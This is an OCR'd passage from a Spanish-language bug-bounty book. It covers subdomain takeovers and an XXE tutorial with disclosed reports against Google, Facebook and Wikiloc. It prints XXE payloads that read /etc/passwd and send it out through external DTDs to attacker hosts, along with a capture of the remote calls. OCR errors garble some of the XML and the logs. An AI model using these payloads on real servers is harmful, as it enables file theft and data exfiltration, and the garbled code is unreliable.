CMAME assets.goubiguiti.com uwn-images.s3-website-us-west-1.amazonaws.com 5 min
Activos DNS de Goubiquiti

Como resultado, una persona con malas intenciones podria reclamar uwn-images.s3-website-us-
west-1.amazonaws.com y alojar un sitio alli. Suponiendo que pueden hacer que el sitio alojado alli se
parezca a Ubiquiti, la vulnerabilidad aqui se trata de engafiar a los usuarios a que envien informacion
personal y tomar control de sus cuentas.

q& Recomendaciones

Las entradas DNS presentan una nueva y unica oportunidad para exponer las vulnerabi-
lidades. Utiliza KnockPy en el intento de verificar la existencia de sub dominios y luego
confirma que estan apuntando a recursos validos prestando especial atencion a los servicios
de terceros como AWS, Github, Zendesk, etc. - servicios que permiten registrar direcciones
URL personalizadas.

2. Scan.me que apunta hacia Zendesk

Dificultad: Baja

URL: support.scan.me

Enlace del informe: https://hackerone.com/reports/114134*
Fecha del informe: 2 de Febrero, 2016

Recompensa recibida: $1,000

Descripcion:

Al igual que el ejemplo de Ubiquiti, aqui, scan.me (una adquisicién de Snapchat) tenia una entrada
CNAME apuntando desde support.scan.me a scan.zendesk.com. En esta situacion, el hacker harry_-
mg fue capaz de reclamar a su nombre scan.zendesk.com al cual desde support.scan.me lo habrian
dirigido a su sitio.

Y eso signific6 $1,000 de pago ...

“Shttps://hackerone.com/reports/114134
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q& Recomendaciones

PRESTA ATENCION! Esta vulnerabilidad fue descubierta en febrero de 2016 y en lo
absoluto no fue nada compleja. Una caceria de fallas exitosa requiere de una observacién
minuciosa.

3. Robando tokens de acceso oficial de Facebook

Dificultad: Alta
URL: facebook.com

Enlace del informe: [Philippe Harewood - Robando tokens de acceso oficial de Facebook] (http://philippeharewood.
facebook-official-access-tokens)

Fecha del informe: 29 de Febrero, 2016
Recompensa recibida: No divulgada
Descripcion:

No sé si este cumple con la definicion técnica de una toma de control de un sub dominio (si atin existe)
pero creo que esto es un hallazgo increible que permitio a Philippe secuestrar cualquier cuenta de
Facebook con una interacciéon minima.

Para comprender esta vulnerabilidad, tenemos que echar un vistazo rapido a OAuth, que de acuerdo
a su sitio, es un protocolo abierto para permitir autorizacion segura de una manera simple y estandar
para aplicaciones web, méviles y de escritorio. En otras palabras, OAuth permite a los usuarios darle
permiso a una Aplicacion para actuar en su nombre sin tener que compartir una contrasefia con la
Aplicacion. Si alguna vez has visitado un sitio que te permite iniciar sesiéon con tu cuenta de Google,
Facebook, Twitter, etc., entonces has utilizado OAuth.

Ahora, dicho esto, es de esperar que ya hayas notado el potencial de explotacion que existe. Si OAuth
permite la autorizacion del usuario, el impacto de una implementacién incorrecta podria ser enorme.
En cuanto al proceso, Philippe proporciona una bonita imagen explicando como esta implementado
el protocolo:
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User’s Your App’s Facebook
Browser Server-side Code API
GET REDIRECT T —
ick on “Login with Sent to Login
Facebook” button Dialog URL
REDIRECT
User accepts dialog and is sent to redirect_uri
with code parameter included
GET GET
redirect_uri with code Joauth/authorize
parameter
Login | RESPONSE
complete access_token

Philippe Harewood - Proceso OAuth de Facebook

En pocas palabras, lo que aqui estamos viendo es:

1. Un usuario solicita utilizar la API de Facebook para algun propésito a través de alguna

aplicacion
2. Esa aplicacion redirige al usuario a la API de Facebook para concederle permiso
3. La API de Facebook proporciona al usuario un cdédigo y lo redirige a la aplicacion
4. La aplicacion toma el codigo y llama a la API de Facebook para asignar un token

5. Facebook devuelve el token a la aplicacion con el cual la autoriza a hacer llamadas en nombre

del usuario

En este proceso, notaras que no hay lugar donde un usuario tenga que proporcionar su nombre de
usuario y contrasefia de Facebook a la aplicacion, con el fin de autorizar a la aplicacién para que
acceda a su cuenta. Esta es también una vision general de alto nivel, hay una serie de otras cosas que
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pueden ocurrir aqui, incluyendo informacion adicional que puede ser intercambiada en el proceso.

Una vulnerabilidad importante radica aqui en el hecho que Facebook provee de regreso el token de

acceso a la aplicacion en el paso #5.
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Teniendo esto en cuenta, regresemos al hallazgo de Philippe, él detalla en su blog como queria tratar
de capturar esos token, para engafiar a Facebook a que se los enviara a él en lugar de la aplicacion
correspondiente. Sin embargo, en su lugar, decidié buscar una aplicacion vulnerable de Facebook
con la que podria tomar el control. Aqui es donde radica la similitud mas amplia del concepto de
toma de control de un sub dominio.

Resulta que, cada usuario de Facebook tiene aplicaciones autorizadas por su cuenta, pero que no pue-

de utilizar de forma explicita. De acuerdo al reporte descriptivo de Philippe, un ejemplo seria “la pes-

tafia Contenido de una pagina en la www” que hace algunas llamadas a la API de la paginas de fans

de Facebook. La lista de aplicaciones esta disponible visitando https://www.facebook.com/search/me/apps-
used.

Mirando a través de esa lista, Philippe logré encontrar una aplicacién que estaba mal configurada y
pudo abusar de la captura de tokens con una solicitud que se parecia a algo como esto:

https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_\
id=APP_ID&redirect_uri=REDIRECT_URI

En este caso, la aplicaciéon que iba a usar el APP_ID era una que tenia todos los permisos ya
autorizados y mal configurados - lo que significa que los pasos #1 y #2 ya se habrian realizado, el
usuario no tendria un pop-up para conceder permiso a la aplicacion, porque de hecho ya lo habian
hecho! Ademas, puesto que el REDIRECT_URI no era propiedad de Facebook, Philippe en realidad
pudo apropiarse de él - exactamente como un sub dominio. Como resultado, cuando un usuario hace
clic en su enlace, va a ser redirigido a:

http://REDIRECT_URI/access_token_appended_here

el cual Philippe podria utilizar para registrar todos los tokens de acceso y tomar el control de las
cuentas de Facebook! Lo que es aun méas impresionante, de acuerdo a su publicacion, una vez que
tenga un token de acceso oficial de Facebook, se tiene acceso a los tokens de otras propiedades
adquiridas por Facebook, como Instagram! Todo lo que él tenia que hacer era realizar una llamada
a Facebook GraphQL (una API para consultar datos de Facebook) y la respuesta podria incluir un
access_token para la aplicacion en cuestion.

QK‘ Recomendaciones

Espero que veas por qué este ejemplo se incluyé en este libro y en este capitulo. La
recomendacién mas grande para mi, fue la cosndieraciéon de como los activos obsoletos
pueden ser explotados cuando se esta hackeando. En los ejemplos anteriores de este
capitulo, ha sido como han dejado entradas DNS apuntando a un servicio que ya no estaba
en uso. En este caso, él estaba mirando a aplicaciones pre-aprobadas las cuales ya no estaban
en uso. Cuando te encuentres hackeando, debes estar en la biisqueda de cambios en las
aplicaciones que pueden dejar recursos expuestos, como estos.

Ademas, si te ha gustado este ejemplo, deberias revisar el Blog de Philippe (incluido en
el capitulo de Recursos y la entrevista sobre Consejos de Hacking Profesional que hizo
conmigo - en la que proporciona una gran cantidad de consejos!).
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4. Toma de control del sub dominio Windsor de Shopify

Dificultad: Baja

URL: windsor.shopify.com

Enlace del informe: https://hackerone.com/reports/150374*’
Fecha del informe: 10 de Julio, 2016

Recompensa recibida: $500

Descripcion:

En julio de 2016, Shopify da a conocer un error en su configuracion DNS que habia dejado el
sub dominio windsor.shopify.com redirigido a otro dominio, aislingofwindsor.com el cual ya no
poseian. Al leer el informe y conversando con quien lo reportd, @zseano, hay algunas cosas que
hacen que este hallazgo sea interesante y notable.

En primer lugar, @zseano, o Sean, se topd con la vulnerabilidad mientras él estaba escaneando
para otro cliente con el cual estaba trabajando. Lo que le llam¢ la atencién fue el hecho de que los
sub dominios eran *.shopify.com. Si estas familiarizado con la plataforma, las tiendas registradas
siguen el patrén del sub dominio *.myshopify.com. Esto deberia ser un banderin rojo de alerta en las
areas adicionales para probar las vulnerabilidades. Kudos (felicitaciones) a Sean por la observacion
minuciosa. Sin embargo, sobre esa nota, el alcance del programa de recompensas de Shopify limita
explicitamente su programa a tiendas de Shopify, su administraciéon y APIL, al software utilizado
dentro de la aplicacion Shopify y sub dominios especificos. Esto significa que, si el dominio no
aparece listado explicitamente, no esta dentro del alcance, por lo que podria decirse que, aqui, que
no necesitaban recompensar a Sean.

En segundo lugar, la herramienta que utilizé Sean, crt.sh es impresionante. Esta tomara un nombre
de dominio, nombre de la organizacion, huellas digitales del certificado SSL (mas si se ha utilizado
la busqueda avanzada) y devolvera sub dominios asociados con los certificados de la consulta de
busqueda. Esto se hace mediante el monitoreo de los registros de Certificado de Transparencia. Si
bien este tema esta mas alla del alcance de este libro, en pocas palabras, estos registros verifican que
los certificados son validos. Al hacerlo, ellos muestran también una cantidad enorme de potenciales
servidores y sistemas internos que deberian estar ocultos, los cuales deben ser explorados si el
programa de recompensas en el que estas hackeando incluye todos los sub dominios (algunos no
lo hacen!).

En tercer lugar, después de encontrar la lista, Sean comenz6 a probar los sitios uno por uno. Este es
un paso que puede ser automatizado, pero recuerda, que él estaba trabajando en otro programa, pero
le siguio la pista. Asi, después de probar windsor.shopify.com descubrié que estaba devolviendo una
pagina de error de dominio caducado. Naturalmente, él compré el dominio, aislingofwindsor.com,
por lo que ahora Shopify estaba apuntando a su sitio. Esto le podria haber permitido abusar de la
confianza que una victima le tendria a Shopify ya que parece ser un dominio Shopify.

“"https://hackerone.com/reports/150374
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Concluyo¢ el hack informando de la vulnerabilidad a Shopify.

Q& Recomendaciones

Como se ha descrito, hay multiples recomendaciones aqui. En primer lugar, comenzar a
usar crt.sh para descubrir sub dominios. Parece ser una mina de oro de objetivos adicionales
dentro de un programa. En segundo lugar, la toma de control de sub dominios no se limita
sélo a servicios externos como S3, Heroku, etc. Aqui, Sean dio el paso extra al registrar el
dominio caducado al cual Shopify estaba apuntando. Si él hubiera tenido malas intenciones,
podria haber copiado la pagina de inicio de sesién de Shopify en su dominio y hubiera
comenzado a recolectar credenciales de usuario.

Resumen

Las tomas de control de dominio realmente no son tan dificiles de realizar cuando un sitio ya ha
creado una entrada DNS que esta sin utilizar y que apunta a un proveedor de servicios externo o a un
dominio no registrado. Hay una variedad de maneras de descubrirlos, incluyendo el uso de KnockPy,
Google Dorks (sitio: *hackerone.com), Recon-ng, crt.sh, etc. El uso de todos estos elementos estan
incluidos en el capitulo de Herramientas de este libro.

Ademas, como fue el caso en el ejemplo del Token de Acceso de Facebook, cuando estas considerando
este tipo de vulnerabilidad, amplia tu alcance y piensa que existen configuraciones obsoletas en un
objetivo el cual puede estar desactualizado. Por ejemplo, el redirect_uri a una aplicacion de Facebook
que esta pre-aprobada.
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Descripcion

Una vulnerabilidad Entidad Externa de XML (XXE) implica explotar la manera como una aplicacién
analiza la entrada XML, mas especificamente, explotar como la aplicacion procesa la inclusion de
entidades externas incluidas en la entrada. Para tener entendimiento pleno de como se explota y todo
su potencial, creo que es mejor para nosotros entender primero lo que son el lenguaje de marcado
extensible (XML) y las entidades externas.

Un metalenguaje es un lenguaje utilizado para describir otros lenguajes, y eso es lo que XML es.
Se desarroll6 después de HTML en parte, como respuesta a las deficiencias de HTML, que se utiliza
para definir la visualizacidon de datos, centrandose en cdmo se debe mirar. En contraste, XML se
usa para definir como los datos deben estar estructurados.

Por ejemplo, en HTML, usted tiene etiquetas como <title>, <h1>, <table>, <p>, etc. todos los cuales
son utilizados para definir como el contenido se va a mostrar. La etiqueta <title> se utiliza para
definir el titulo de una pagina (impactante!), las etiquetas <h1> se refieren a la definicion de cabeceras,
la etiqueta <table> presenta datos en filas y columnas y la etiqueta <p> presenta los datos como
texto simple. Por el contrario, XML no tiene etiquetas predefinidas. En su lugar, la persona que crea
el documento XML define sus propias etiquetas para describir el contenido que debe ser presentado.
He aqui un ejemplo:

<?xml version="1.0" encoding="UTF-8"7>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>

Al leer esto, probablemente puedes adivinar el propésito del documento XML (presentar un listado
de trabajo, pero no tienes idea de cdmo se vera si se presenta en una pagina web). La primera linea
del documento XML es un encabezado de declaracion que confirme la version de XML a utilizar y
el tipo de codificacion. Al momento de escribir esto, hay dos versiones de XML, 1.0 y 1.1. Detallar las
diferencias entre la version 1.0 y 1.1. esta mas alla del alcance de este libro. Eso no deberia causar
ningtn impacto en tu hacking.
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Después de la cabecera inicial, la etiqueta <jobs> que se incluye y rodea todas los demas etiquetas
<job>, la cual incluye las etiquetas <title>, <compensation> y <responsability>. Ahora, mientras
que con HTML, algunas etiquetas no requieren etiquetas de cierre (por ejemplo, <br>), todas las
etiquetas XML requieren una etiqueta de cierre. Una vez mas, basandose en el ejemplo anterior,
<jobs> es una etiqueta de inicio y </jobs> seria la etiqueta de cierre correspondiente. Ademas,
cada etiqueta tiene un nombre y puede tener un atributo. Usando la etiqueta <job>, el nombre de
la etiqueta es job, pero no tiene atributos. Por el contrario, la etiqueta <responsability> tiene el
nombre responsability con un atributo optional compuesto por el nombre del atributo optional y
el valor del atributo es 1.

Dado que cualquiera puede definir cualquier etiqueta, la pregunta obvia entonces es, ;como alguien
sabe como analizar y utilizar un documento XML si las etiquetas pueden ser cualquier cosa? Bueno,
un documento valido de XML es valido porque sigue las reglas generales de XML (no tengo necesidad
de mencionarlas todas, pero que tienen una etiqueta de cierre es un ejemplo que ya he mencionado
anteriormente) y porque coincide con su definicién de tipo de documento (DTD). La DTD es la razén
completa por la que nos estamos sumergiendo en esto, ya que es una de las cosas que, como hackers,
nos permitira explotar la vulnerabilidad.

Una DTD de XML es como un documento de definicion de las etiquetas que se van a utilizar y es
desarrollado por el disefiador XML, o el autor. Con el ejemplo anterior, yo podria ser el disefiador
debido a que he definido el documento jobs en XML. Una DTD definira cuales etiquetas existen, qué
atributos pueden tener y qué elementos pueden encontrarse en otros elementos, etc. Mientras ti y yo
podamos crear nuestros propios DTD, algunos ya han sido formalizados y se utilizan ampliamente
incluyendo los archivos de Sindicaciéon Realmente Simple (RSS), los recursos de datos generales
(RDF), los de informacion del cuidado de la salud (HL7 SGML/XML), etc.

Esto es como se veria un archivo DTD para mi XML anterior:

<!ELEMENT Jobs (Job)*>

<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#*PCDATA)>

<IELEMENT Compenstaion (#PCDATA)>

<!ELEMENT Responsibility(#PCDATA)>

<IATTLIST Responsibility optional CDATA "O">

Al mirar esto, es probable que puedas adivinar lo que significa la mayor parte. Nuestra etiqueta
<jobs> es en realidad un 'ELEMENT de XML y puede contener al elemento Job. Un Job es un
'ELEMENT que puede contener un Title, Compensation y un Responsability, los cuales son también
IELEMENTS: y sélo pueden contener datos de caracteres, denotado por (#PCDATA). Por tultimo, el
IELEMENT Responsability tiene un atributo posible opcional (IATTLIST) cuyo valor predeterminado
es 0.

No es demasiado dificil ;verdad? Ademas de las DTD, todavia hay dos etiquetas importantes que no
hemos discutido, las etiquetas 'DOCTYPE y 'ENTITY. Hasta este punto, he insinuado que las DTD
son archivos externos a nuestro XML. Recuerda el primer ejemplo anterior, el documento XML no
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incluia las definiciones de las etiquetas, lo cual es llevado a cabo por nuestro DTD en el segundo
ejemplo. Sin embargo, es posible incluir el DTD dentro del propio documento XML y para ello, la
primera linea del XML debe ser un elemento <!DOCTYPE>. Combinando nuestros dos ejemplos
anteriores, podriamos obtener un documento que se parezca a esto:

<?xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
</ELEMENT Title (#PCDATA)>
</ELEMENT Compenstaion (#PCDATA)>
</ELEMENT Responsibility(#PCDATA)>
<IATTLIST Responsibility optional CDATA "©">
1>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</ job>
</jobs>

Aqui, tenemos lo que se conoce como una Declaracién de DTD interna. Ten en cuenta que todavia
comenzamos con una cabecera de declaracion indicando nuestro documento XML se ajusta a la
version 1.0 con codificacion UTF-8, pero inmediatamente después, definimos nuestro DOCTYPE
para el XML que sigue. El uso de una DTD externa seria similar, excepto que el 'IDOCTYPE se veria
como <!DOCTYPE note SYSTEM "jobs.dtd">. El analizador XML podria analizar el contenido del
archivo jobs.dtd cuando revise el archivo XML. Esto es importante porque la etiqueta !ENTITY es
tratada de forma similar y proporciona el punto crucial para nuestro exploit.

Una entidad XML es como un marcador de posicion para obtener informaciéon. Usando nuestro
ejemplo anterior, una vez mas, si queremos que cada job incluya un enlace a nuestro sitio web, seria
tedioso para nosotros escribir la direccion cada vez, sobre todo si nuestra URL podria cambiar. En
lugar de eso, podemos utilizar una !ENTITY y tener al analizador para recuperar el contenido al
momento de analizar e insertar el valor en el documento. Espero que veas hacia dénde voy con esto.

De manera similar a un archivo DTD externo, vamos a actualizar nuestro archivo XML para incluir
esta idea:
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<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<IATTLIST Responsibility optional CDATA "9">
<IELEMENT Website ANY>
<IENTITY url SYSTEM "website.txt">
1>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website> </website>
</job>
</jobs>

Aqui, te daras cuenta que tomé la delantera y anadi un !ELEMENT llamado Website, pero en lugar
de (#PCDATA), he afiadido ANY. Esto significa que la etiqueta Website puede contener cualquier
combinacion de datos analizables. También he definido un !ENTITY con un atributo SYSTEM que
le diga al analizador que obtenga los contenidos del archivo website.txt. Las cosas deberian estar
aclarandose mas ahora.

Poniendo todo esto junto, ;qué crees que pasaria si en lugar de “website.txt”, hubiera incluido
“/etc/passwd”? Como habras adivinado, nuestro XML podria haber analizado el contenido de
/etc/passwd que es un archivo sensible del servidor, el cual se incluiria en nuestro contenido. Pero
somos los autores del XML, asi que por qué hariamos eso?

Pues bien, un ataque XXE se hace posible cuando una aplicacion victima puede ser objeto de abuso
al incluir estas entidades externas en su analisis XML. En otras palabras, la aplicacion tiene algunas
expectativas XML, pero no estd validando lo que esta recibiendo y de esta manera, simplemente
analiza lo que obtiene. Por ejemplo, digamos que yo estaba corriendo una bolsa de trabajo y te
permiti que registres y subas puestos de trabajo a través de XML. Al desarrollar mi aplicacion,
podria hacer mi archivo DTD disponible para ti y asumir que enviaras un archivo que coincida con
los requisitos. Al no reconocer el peligro de esto, decido analizar inocentemente lo que recibo sin
ningun tipo de validacion. Pero tu, siendo un hacker, decides enviar esto:
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<?xml version="1.0" encoding="IS0-8859-1"7>
<!DOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/passwd" >
]

>

<foo> </foo>

Como sabes, mi analizador recibiria esto y reconocera una DTD interna que define un Tipo de
Documento “foo” diciendo que foo puede incluir datos analizables y que hay un !'ENTITY xxe que
deberia leer mi archivo /etc/passwd (el uso de file:// se utiliza para denotar una ruta de archivo URI
completa al archivo /etc/passwd), al analizar el documento y reemplace los elementos &xxe; con
los contenidos de los archivos. A continuacion, finalizas con el XML valido que define una etiqueta
<foo>, la cual imprime la informacion de mi Servidor. Y por eso amigos, es que XXE es tan peligroso.

Pero espera, ain hay mas. ;Qué pasa si la aplicaciéon no imprimi6 una respuesta, sdlo se analiza
su contenido. Utilizando el ejemplo anterior, los contenidos podrian ser analizados pero nunca
volvieron a nosotros. Bueno, ;y si en lugar de incluir un archivo local, se decidi6é que queria ponerse
en contacto con un Servidor malicioso de este modo:

<?xml version="1.0" encoding="IS0-8859-1"7>

<!DOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY % xxe SYSTEM "file:///etc/passwd" >
<IENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]

>

<foo> </foo>

Antes de explicar esto, es posible que hayas captado el uso de % en lugar de & en la llamada a la
URL, %xxe;. Esto es porque el % se utiliza cuando la entidad ha de ser evaluada dentro de la misma
definicion DTD y el & cuando la entidad se evaltia en el documento XML. Ahora, cuando se analiza
el documento XML, la llamada a 'ENTITY leera el contenido del archivo /etc/passwd y hara una
llamada remota a www.malicous.com enviando el contenido del archivo como un parametro de
URL. Puesto que controlamos ese servidor, podemos comprobar nuestros registros y, efectivamente,
tienen el contenido de /etc/passwd. Lo que significa Fin del Juego para la aplicacion web.

Entonces, ;como los sitios se protegen asi mismos en contra de las vulnerabilidades XXE? Imposi-
bilitando el analisis de entidades externas.
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0 Enlaces

Revisa Procesamiento de entidades externas XML (XXE) de la OWASP*®
Hoja de trucos XXE Silent Robots - Hoja de trucos de Entidad XML*’

Ejemplos

1. Leer El acceso a Google

Dificultad: Media

URL: google.com/gadgets/directory?synd=toolbar
Enlace del informe: Detectify Blog™

Fecha del informe: Abril de 2014

Recompensa recibida: $10,000

Descripcion:

Sabiendo lo que sabemos acerca de XML y entidades externas, esta vulnerabilidad es en realidad
bastante sencilla. La Galeria de botones de la Barra de herramientas de Google permite a los
desarrolladores definir sus propios botones mediante la subida de archivos XML que contienen
metadatos especificos.

Sin embargo, segun el equipo de Detectify, mediante la subida de un archivo XML con un ENTITY
haciendo referencia a un archivo externo, Google analizaba el archivo y procedié a mostrar los
contenidos. Como resultado, el equipo utiliz6 la vulnerabilidad XXE para mostrar el contenido del
archivo /etc/passwd de los Servidores. Fin del Juego.

“*https://www.owasp.org/index.php/XML_External_Entity_(XXE)\_Processing
“’http://www.silentrobots.com/blog/2014/09/02/xe-cheatsheet
https://blog.detectify.com/2014/04/11/how-we- got-read-access-on-googles-production-servers
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https://www.owasp.org/index.php/XML_External_Entity_%20(XXE)%20%5C%20_Processing
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Detectify - Captura de pantalla de los archivos internos de Google

q& Recomendaciones

Incluso los muchachos grandes pueden ser vulnerables. Aunque este informe es de casi
2 afos de antiguedad, todavia es un gran ejemplo de como las grandes empresas pueden
cometer errores. El XML necesario para tirar de esto puede ser facilmente subido a sitios
que estan utilizando analizadores XML. Sin embargo, a veces el sitio no emite una respuesta
por lo que necesitaras probar otras entradas proveniente de la hoja de trucos OWASP citada
anteriormente.

2. XXE en Facebook con Word

Dificultad: Dificil

URL: facebook.com/careers

Enlace del informe: Attack Secure
Fecha del informe: Abril de 2014

Recompensa recibida: $6,300

http://www.attack-secure.com/blog/hacked-facebook-word-document
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Descripcion:

Este XXE es un poco diferente y mas dificil que el primer ejemplo ya que implica llamadas remotas
a un Servidor como hemos comentado en la descripcion.

A finales de 2013, Facebook habia parcheado una vulnerabilidad XXE que potencialmente habria
sido escalado a una vulnerabilidad de ejecucién remota de codigo, ya que el contenido del archivo
/etc/passwd era accesible. La paga fue de aproximadamente $30,000.

Como resultado, cuando Mohamed se desafi6 a si mismo para hackear Facebook en abril de 2014, él
no creia que XXE fuese una posibilidad hasta que encontré una pagina de carreras la que permitia
a los usuarios subir archivos .docx que pueden incluir XML. Para aquellos que desconocen, el tipo
de archivo .docx es s6lo un archivo para los archivos XML. Asi, segiin Mohamed, cre6 un archivo
.docx y lo abrid con 7zip para extraer el contenido e insertar la siguiente carga codigos en uno de
los archivos XML:

<IDOCTYPE root [

<IENTITY % file SYSTEM "file:///etc/passwd">

<IENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;

%send;

11>

Como lo reconoceras, cuando es analizado, si la victima tiene habilitadas las entidades externas, el
analizador XML llamara al host remoto. Observa el uso del % en la definiciéon 'ENTITY y por debajo?
Esto es porque aquellos marcadores de posicion se utilizan dentro del DTD a si mismos. Después de
recibir la llamada de solicitud, el servidor remoto podria enviar un archivo DTD que parecia:

<IENTITY SYSTEM 'http://197.37.102.90/7%26file; '>"
Por lo tanto, regresando a la carga de coédigos en el archivo:

1. El analizador sustituiria a la %dtd; con una llamada para obtener un archivo DTD remoto

2. El analizador reemplazaria a %send; con una llamada remota al Servidor nuevamente, pero
%file; seria reemplazado por el contenido del archivo file:///etc/passwd

Asi, Mohamed inici6 un servidor local usando Python y SimpleHTTPServer y esper¢ ... y luego
recibio:
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% mohaab007 — Python — 85x16

100

Last login: Tue Jul

B B9:11:89 on console

mohamed:~ mohaabBB7% sudo python -m SimpleHTTPServer B8
Password:
Serving

173.
173.
173.
173.
173.
173.

252.
252.
252.
252.
252.
252.

HTTP on 0.8.0.8 port B0

71.
71.
71.
71.
71.
71.

129 - -
129 - -
128 - -
128 - -
128 - -
129 - -

[@B/Iul/2014
[8B/Iul/2014
[@B/Jul/2B14
[@B/Juls2B14
[08/Jul/2014
[08/Jul/2014

Attack Secure - Captura de llamadas remotas de Facebook

Ba:
Ba:
Ba:
Bo:
Bo:
Bo:

21
21
21
21

21

:18]
:11]
:11]
:11]
21:

11]

:11]

"GET
"GET
code
"GET
code
"GET

Fext.dtd HTTP/L1.8"
Fext.dtd HTTP/1.8"
484, message File
SFACEBOOK-HACKED?
484, message File
SFACEBOOK-HACKED?

208 -
288 -
not Tound
HTTR/1. 8"
not found
HTTP/1.@"

484 -

404 -

Después de haber informado, Facebook envia una respuesta rechazando el informe de la falla
alegando que no podian reproducirlo y solicitaron un video de la prueba de concepto. Después de
intercambiar mensajes, Facebook mencioné que un reclutador probablemente abrié el archivo que
presento en la solicitud arbitraria. El equipo de Facebook hizo un poco mas de excavaciones y al final
él recibi6 una recompensa, recibiendo un correo electrénico explicando que el impacto de este XXE
fue menos severo que el inicial en 2013, pero sigue siendo una hazana valida. Este es el mensaje:
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Hi Mohamed,
Here is the full payout information:

After reviewing the bug details you have provided, our security team has determined that you are
eligible to receive a payout of S6300 USD.

In order to process your bounty we will need you to provide some information:

- Your full name

- Your country of residence

- Your email address

This information is necessary in order for our payment fulfilment partner to process your bounty.
Once processed you will receive an email from bugbountypaymeants.com with instructions for
claiming your bounty.

If you have any guestions please do not hesitate to contact us and thank you for all you are doing to
help keep Facebook securel

Thanks,
Emrakul

Security
Facebook

Facebook respuesta oficial

q& Recomendaciones

Hay un par de recomendaciones aqui. Los archivos XML vienen en diferentes formas
y tamafios - mantente alerta a los sitios que aceptan .docx, .xIsx, .pptx, etc. Como he
mencionado anteriormente, a veces no recibiras la respuesta XXE de inmediato - este
ejemplo muestra como puedes configurar un servidor para ser notificado, lo cual demuestra

la falla de XXE.

Adicionalmente, como en otros ejemplos, a veces los informes son rechazados inicialmente.
Es importante tener confianza y aferrarse a ella al momento de estar trabajando con la
empresa a la que estas informando, respetando su decision a la vez que se explica por qué
algo podria ser una vulnerabilidad.

3. XXE en Wikiloc

Dificultad: Dificil
URL: wikiloc.com
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Enlace del Informe: Blog de David Sopas®

Fecha del informe: Octubre de 2015

Recompensa recibida: Camisa / Sudadera con capucha
Descripcion:

De acuerdo con su sitio, Wikiloc es un lugar para descubrir y compartir las mejores rutas al aire libre
para practicar la caminata, ciclismo y muchas otras actividades. Curiosamente, también permiten a
los usuarios subir sus propias rutas a través de archivos XML, lo que resulta ser muy atractivo para
hackers ciclistas como David Sopas.

Basandose en su informe, David se registr6 en Wikiloc y se dio cuenta de la subida de archivos
XML, por lo que decidi6é probar una vulnerabilidad XXE. Para empezar, descarg6 un archivo del
sitio para determinar su estructura XML, y en este caso, un archivo .gpx e inyecta **<!DOCTYPE
foo [<IENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;

Luego llamo a la entidad desde dentro del nombre de la pista en el archivo .gpx en la linea 13:

<IDOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemalLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com\
/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon\
="-8.037170000" />
<trk>
<name> </name>
<trkseg>
<trkpt 1at="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)

Esto dio lugar a una solicitud GET HTTP a su servidor, GET 144.76.194.66 /XXE/ 10/29/15 1:02PM
Java/1.7.0_51. Esto es notable por dos razones, en primer lugar, mediante el uso de una simple
prueba de concepto call, David fue capaz de confirmar que el servidor estaba evaluando su XML
inyectado y el servidor podria realizar llamadas externas. En segundo lugar, David usé el documento
XML existente, de modo que su contenido se ajustara a la estructura que el sitio estaba esperando.

52 . e s
www.davidsopas.com/wikiloc-xxe-vulnerability
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Mientras que él no habla de ella, la necesidad de llamar a su servidor no hubiera sido necesaria si
hubiera podido leer el archivo /etc/passwd y mostrar el contenido en el elemento <name>.

Después de confirmar que Wikiloc haria solicitudes HTTP externas, la tinica pregunta era si podia
leer archivos locales. Por lo tanto, él modific6 su XML inyectado para hacer que Wikiloc le envie
sus contenido del archivo /etc/passwd:

<!DOCTYPE roottag [
<IENTITY % file SYSTEM "file:///etc/issue">
<IENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd; 1>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemalLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com\
/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon\
="-8.037170000" />
<trk>
<name>&send; </name>

(...)

Esto deberia resultarte familiar. Aqui utilizé dos entidades que han de ser evaluados en el DTD, por
lo que se definen mediante el uso de %. La referencia a &send; en la etiqueta <name> en realidad
se define por el archivo xxe.dtd enviado de nuevo que él sirve de regreso a Wikiloc. Aqui esta ese
archivo:

<?xml version="1.0" encoding="UTF-8"7>
<IENTITY % all "<!IENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;

Ten en cuenta que %all; define el !IENTITY send el cual sélamente lo notificamos en la etiqueta
<name>. Asi es como se mira el proceso de evaluacion:

Wikiloc analiza el XML y evalua %dtd; como una llamada externa al servidor de David
El servidor de David devuelve el archivo xxe.dtd a Wikiloc

Wikiloc analiza el archivo DTD el cual desencadena la llamada a %all

Cuando se evalua %all, este define a &send; que incluye una llamada a la entidad %file

S

